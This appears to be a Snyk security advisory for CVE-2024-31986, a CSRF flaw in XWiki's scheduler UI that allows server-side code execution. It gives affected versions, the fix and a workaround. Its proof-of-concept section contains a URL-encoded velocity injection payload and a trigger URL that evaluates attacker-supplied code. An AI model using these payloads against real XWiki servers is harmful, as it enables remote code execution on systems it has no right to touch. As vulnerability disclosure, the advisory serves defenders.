Cross-Site Request Forgery (CSRF) Affecting org.xwiki.platform:xwiki-platform-scheduler-ui package, versions [3.1,14.10.19)[15.0-rc-1,15.5.4)[15.6-rc-1,15.9)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-Site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-6595856
  • published11 Apr 2024
  • disclosed10 Apr 2024
  • creditUnknown

Introduced: 10 Apr 2024

CVE-2024-31986  (opens in a new tab)
CWE-352  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-scheduler-ui to version 14.10.19, 15.5.4, 15.9 or higher.

Overview

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) via the creation of a document with a specially crafted document reference and an XWiki.SchedulerJobClass XObject. An attacker can execute arbitrary code on the server whenever an admin visits the scheduler page or the scheduler page is referenced, for example, via an image in a comment on a page in the wiki.

Workaround

This vulnerability can be mitigated by modifying the Scheduler.WebHome page following the provided patch.

PoC

  1. Click on this link to create a new document: <xwiki-host>/xwiki/bin/view/%22%3E%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%20context%3D%22request/parameters%22%7D%7D%7B%7Bvelocity%7D%7D%23evaluate%28%24request/eval%29/;

  2. Add to this document an object of type XWiki.SchedulerJobClass;

  3. As an admin, go to <xwiki-host>/xwiki/bin/view/Scheduler/?eval=$services.logging.getLogger(%22attacker%22).error(%22Hello%20from%20URL%20Parameter!%20I%20got%20programming:%20$services.security.authorization.hasAccess(%27programming%27)%22).

If the logs contain ERROR attacker - Hello from URL Parameter! I got programming: true, the installation is vulnerable.

CVSS Scores

version 3.1